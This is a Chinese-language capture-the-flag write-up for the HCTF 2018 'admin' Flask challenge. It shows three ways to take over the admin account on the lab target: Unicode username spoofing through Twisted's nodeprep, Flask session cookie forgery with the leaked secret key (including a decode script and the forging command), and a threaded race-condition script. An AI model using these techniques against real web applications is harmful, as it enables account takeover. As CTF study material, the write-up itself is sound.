[HCTF 2018]admin

打开的主页面就是一个普普通通平淡无奇的欢迎页面

查看源代码也只是看到了一句<!-- you are not admin -->

开burp跑密码字典,但是不出我所料,肯定是屁也没有,然后随便注册了一个账户登陆进去瞅瞅,主要功能就是一个带username的欢迎页,一个名为post的edit页面,还有password change的密码修改,既然提供了这些功能就猜测,用admin的类账户名去注册试试,然后再改密码达到预期目标。

但是我一旦用带有admin字眼的名字注册就会给我报错。如下:

Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

怎么注册都无果,又重新登录刚才的注册账号去研究研究。查看了每个页面的源代码后发现password change页面给了后端源代码的地址<!-- https://github.com/woadsl1234/hctf_flask/ -->

访问后拿到了源码,使用python写的,看名字应该是flask框架的。在一番审查后,发现index.html页面中说只要时session中的['name']==admin就可以拿到flag。

方法1--Unicode欺骗

按照最开始的思路巧日admin,那就只能从注册这个点下手,扒下来register注册部分的源码。

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

注意到注册的时候主先对username用函数strlower处理,应该是个转小写之类的函数,源码如下:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这个nodeprep在文件中显示来自一个很奇怪很长的模块,说到底就是twisted模块。

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

在文件中的requirements中显示Twisted==10.2.0面向百度看看有么得可利用漏洞。百度查到的资料都是2011年的,而且官网的版本都更新到20.3.0了,绝对有利用点!然后查到的都是wp。。。。我能怎么办,我也很绝望。。。但是最少知道了这玩意儿有个Unicode欺骗的漏洞。

简单来说就是通过nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用该函数时会把A转换成a。

那么这就形成了漏洞,在源码的登陆部分和密码修改部分都调用了这个函数。

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

漏洞利用

在注册时用ᴬᴰᴹᴵᴺ进行注册,登录也用ᴬᴰᴹᴵᴺ登录,此时经过第一次strlower函数处理进入数据库的username为ADMIN,在这个基础条件之下,进行密码修改,调用第二次strlower函数,则对应修改的就是admin的密码,实现账号可控。再次用admin登录即可拿flag。

方法2--Flask session伪造

因为在看源码时发现了对username的验证等都用到了session所以考虑伪造session(有点像前两天发凯大哥给的钓鱼网站)

想要伪造session,需要先了解一下flask中session是怎么构造的。
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

#session解密脚本
#!/usr/bin/env python3
#import sys
import zlib
#from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    while True:
        ses=input()
        print(decryption(ses.encode()))

在使用root注册了账户登陆抓包总共抓到两个包,内容分别为

.eJw9j8Fqg0AQhl-l7LmHavXQQA4Na0VhRmJXZfYSEk2Nu5kIaUCzIe_ebQu5zcwH3_z_TWyGTixu4mknFgLTKiJDV1Q4gOwDTGEqJMw6RYumNCAzp429kqsC4PoAqmOQHwMqf1M2RpczNvmxUDbAJnEgE0emf9WsDyhXFtX6qtMq1CkEGGa_LCoamiEsjVZ9TA78nMxarmPyO3Ayg3oPoKn9D3LUlIyuHgpFS3F_Fu33-WtzGe3-9KgAzkd17QuZbiCuYi1X7KOylkcmk4XAEJHXYlpaUK1DlTP1yz_dwNt-_zB1_DZ9Tv_ktGUPxHkcL-L-A31PZWk.XqkcYg.8T3D1mp0dL7svSRquPCF6YWjiZI

{'_id': b'4e8b6253b0854c0831dcd64c023f92c552ea17f01b592a9972f5be9955a3013b87ffa40d542de6dc57b3b889f13dce89c313a1d49a892a11051eb563adf75b96', 'image': b'vopK', 'csrf_token': b'33d774b7bbe9d0f2efd9fb262c8ba14dd17352fb', 'name': 'root'}
.eJw9kMGKwkAMhl9lydmD7drDCh5WplsUkmJ3aslcxLW1dmoUqmId8d131gVvST748id3WG276rSD8bm7VANYNSWM7_D2A2OgJB-x5RtpalDVASV4TRX2JqGWbGZRzZyx7Y1dHqAsd6hLQfXVkPYz3Ubk5kLFfJ_qNqAidqhix7Z-N2J2pKYt6cXNJHloEgwonP2xUVpwj2Fmja4jdujruDdqEbHvUeIe9WeAxdLvYMdFJuSWTap5Ao8BbE7ddnU-ttXhdQI6H9VthmzLhiWPjJqKjypG7YXtLETBEXstJVmLeuNIz4XryVPXyLquXqZSPq7f139yWIsH0B2PZxjA5VR1z7dBMITHL9-WboQ.Xqkcvg.W0PS6ma1xNGtcskjvfOHJ__4hv0

{'_id': b'4e8b6253b0854c0831dcd64c023f92c552ea17f01b592a9972f5be9955a3013b87ffa40d542de6dc57b3b889f13dce89c313a1d49a892a11051eb563adf75b96', 'name': 'root', 'csrf_token': b'33d774b7bbe9d0f2efd9fb262c8ba14dd17352fb', 'image': b'vopK', '_fresh': True, 'user_id': '10'}

可以看到session中包含了登录名,token,还有_id。

但是我们想要伪造session还差一个SECRET_KEY,秉承着源码在手天下我有的原则,在配置信息里找到了它

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

那现在只需要把session['name']改成name就完事儿了。

GitHub上大佬写的针对flask框架的session加解密脚本:https://github.com/noraj/flask-session-cookie-manager(还区分了py2和py3很是友好了)

直接脚本生成session。

E:\6-python\Hello Python!\1-flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_id': b'4e8b6253b0854c0831dcd64c023f92c552ea17f01b592a9972f5be9955a3013b87ffa40d542de6dc57b3b889f13dce89c313a1d49a892a11051eb563adf75b96', 'name': 'admin', 'csrf_token': b'33d774b7bbe9d0f2efd9fb262c8ba14dd17352fb', 'image': b'vopK', '_fresh': True, 'user_id': '10'}"

.eJw9kMFuwjAMhl9lypkD7ehhSByG0lUg2RVdSuVcENBSkmAmFRAliHdfxiRutj_p82_fxWrXNae9GJ-7SzMQK1OL8V28bcRYYFaOyNINFRqQbYQZXHMJvc7QoS0syJnX1t3IlxHwcg-qZpBfBlWYKZegnzNW80OuXIRV6kGmnmz7rlnvUU4dqsVNZ2WsM4gwnv2xUV5RD3FhtWoT8hDqtNdykVDogdMe1GcE1TLsIE9VweiXJlc0EY-B2J663er845rj6wTwIarfDsnWhrhMtJxyiMpaHpjsLAaGEQUtZoUDtfWo5kzt5KkzvG6bl6nmj-v39Z8c1xyAWNdsjmIgLqeme_5NREPx-AVNtm7J.Xqkibw.LWiuxv2A0am97JSrdnB_6KhMxz0

然后将抓到的包,两条session都更改掉就可以以admin的身份登录了,拿到flag。

方法3--条件竞争

网上看大佬的wp得到的思路,但是限于码力不行,所以无法实现。

攻击思路是来自一个逻辑漏洞,在源码的login和change的函数中都在没有对name真实与否的情况下就进行了对session的赋值

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

按照预期想法可以用两个进程造就时间差来进行条件竞争。

进程1:以注册的用户账号和密码一直进行登录和改密码操作

进程2:执行先注销后以admin的用户名登录

预期想法:当进程1进行到改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session,而进程2刚好将session[‘name’]赋值为admin,然后进程1调用此session修改密码,即修改了admin的密码。

理论成立,但代码跑不出结果,具体原因不详,大佬写的码如下:

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
    return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
    if 'flag' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()
最后修改:2020 年 08 月 12 日 10 : 31 AM
请作者喝杯奶茶吧~